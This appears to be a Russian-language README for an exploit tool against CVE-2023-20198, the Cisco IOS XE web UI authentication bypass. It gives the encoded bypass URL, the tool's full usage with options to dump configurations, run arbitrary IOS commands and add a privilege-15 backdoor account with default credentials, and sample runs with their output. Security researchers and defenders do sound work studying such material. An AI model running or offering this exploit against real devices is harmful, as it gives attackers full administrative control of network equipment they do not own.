
Эксплойт PoC для CVE-2023-20198
Эксплойт PoC для CVE-2023-20198
Информация об уязвимости и использование эксплойта предоставлены smokeintheshell (см. ссылки)
Управление конечной точкой, типом содержимого HTTP и заголовками было изменено по сравнению с другими существующими PoC, чтобы работать в ситуациях, в которых другие эксплойты терпят неудачу.
CVE-2023-20198 характеризуется неправильной проверкой пути для обхода фильтрации Nginx с целью доступа к веб-конечной точке webui_wsma_http без необходимости аутентификации.
Обходя аутентификацию для конечной точки, злоумышленник может выполнять произвольные команды Cisco IOS или вносить изменения в конфигурацию с привилегиями уровня 15.
Расследование Cisco активной эксплуатации ранее не раскрытой уязвимости показало, что злоумышленники сначала использовали CVE-2023-20198 для добавления нового пользователя с уровнем привилегий 15. Дальнейшие атаки включали эксплуатацию CVE-2023-20273 для повышения привилегий до пользователя root нижележащей ОС Linux для облегчения внедрения.
Этот PoC использует CVE-2023-20198 для задействования двух различных конечных точек XML SOAP:
Параметры проверки уязвимости, получения конфигурации и выполнения команд нацелены на конечную точку SOAP cisco:wsma-exec для вставки команд в тег элемента execCLI.
Параметр добавления пользователя нацелен на конечную точку SOAP для внесения изменения конфигурации и добавления учетной записи с уровнем привилегий 15. Эта конечная точка может быть использована для других изменений конфигурации, но это выходит за рамки данного PoC.
cisco:wsma-configИспользование конечной точки SOAP cisco:wsma-exec взято из шаблона nuclei
Использование конечной точки SOAP cisco:wsma-config взято из PoC horizon3ai
Примечание: я не проводил никаких оригинальных исследований или разработок PoC для этого CVE. Смотрите раздел ссылок для указания авторства.
usage: exploit.py [-h] (-t targetIP | -l targetFile) [-https] (-c | -g | -e command | -a | -d) [-u newUserName] [-p newUserPass] [-o outputFile] [-v]
CVE-2023-20198 Exploit PoC
options:
-h, --help show this help message and exit
-t targetIP Target IP Address
-l targetFile File containing IP Addresses (-c only)
-https Use https
-c [X] Check for vulnerability
-g [X] Get Cisco IOS running config
-e command [X] Execute Cisco IOS command
-a [X] Add new priv 15 user
-d [X] Remove priv 15 user
-u newUserName [Optional] user name for -a or -d. Default: G4sul1n
-p newUserPass [Optional] new user pass for -a. Default: G4sul1n
-o outputFile Write output to file
-v Increase verbosity
Для проверки на CVE-2023-20198 параметр -c попытается использовать уязвимость для выполнения uname -a
Пример:
# ./exploit.py -t 10.0.0.1 -c
Testing for vulnerability
Target IP: 10.0.0.1
Target URL: http://10.0.0.1/%2577eb%2575i_%2577sma_Http
Vulnerable: True
IOS Ver: <REDACTED> IOS 16.6 Cisco IOS Software [Everest], Catalyst L3 Switch Software (CAT3K_CAA-UNIVERSALK9-M), Version 16.6.5, RELEASE SOFTWARE (fc3)
Параметр -g выполняет sh run для получения текущей конфигурации
Пример:
# ./exploit.py -t 10.0.0.1 -g
Building configuration...
Current configuration : 6988 bytes
!
...
!
version 16.6
no service pad
service timestamps debug datetime msec
service timestamps log datetime msec
...
Произвольные команды Cisco IOS могут быть выполнены с помощью параметра -e.
Следует проявлять крайнюю осторожность при использовании этого для внесения изменений в конфигурацию. Валидация ввода отсутствует, и изменения применяются немедленно к текущей конфигурации.
Пример:
# ./exploit.py -t 10.0.0.1 -e 'sh log'
Selected Target: 10.0.0.1
Running in Exec Mode
Executing Command: sh log
Sending exploit to target URL: http://10.0.0.1/%2577eb%2575i_%2577sma_Http
Syslog logging: enabled (0 messages dropped, 1 messages rate-limited, 0 flushes, 0 overruns, xml disabled, filtering disabled)
No Active Message Discriminator.
No Inactive Message Discriminator.
Console logging: level debugging, 5368 messages logged, xml disabled,
filtering disabled
...
Параметр -a можно использовать для создания новой учетной записи пользователя с привилегиями 15, при необходимости указав имя учетной записи и пароль с помощью -u и -p соответственно.
Пример:
# ./exploit.py -t 10.0.0.1 -a -u G4sul1n -p G4sul1n
Selected Target: 10.0.0.1
Adding New Privilege 15 User
New User Name: G4sul1n
New User Pass: G4sul1n
Sending exploit to target URL: http://10.0.0.1/%2577eb%2575i_%2577sma_Http
No reportable output from adding users
Check verbose ouput or get running config
Done.
Параметр -d можно использовать для удаления учетной записи пользователя с устройства, и он учитывает имя пользователя, указанное с помощью -u.
Следует соблюдать осторожность, чтобы не удалить легитимную учетную запись.
Это было добавлено для случаев, когда невозможно получить доступ к оболочке/веб-интерфейсу на эксплуатируемом устройстве Cisco. Было замечено, что добавление пользователя с привилегиями 15 не предоставляет доступ к веб-интерфейсу и может привести к оставлению артефактов эксплуатации на хостах.
Консультация Cisco
Исследование horizon3ai CVE-2023-20198
PoC horizon3ai CVE-2023-20198
Шаблон nuclei CVE-2023-20198 (Авторы: iamnoooob, rootxharsh, pdresearch)
PoC LeakIX CVE-2023-20273
PoC smokeintheshell CVE-2023-20198
Код, содержащийся в этом проекте, предназначен только для исследований и использования в системах, где пользователь имеет явное разрешение.
Автор этого проекта не несет ответственности за неправильное использование программного обеспечения.
Используйте ответственно и не будьте злыми.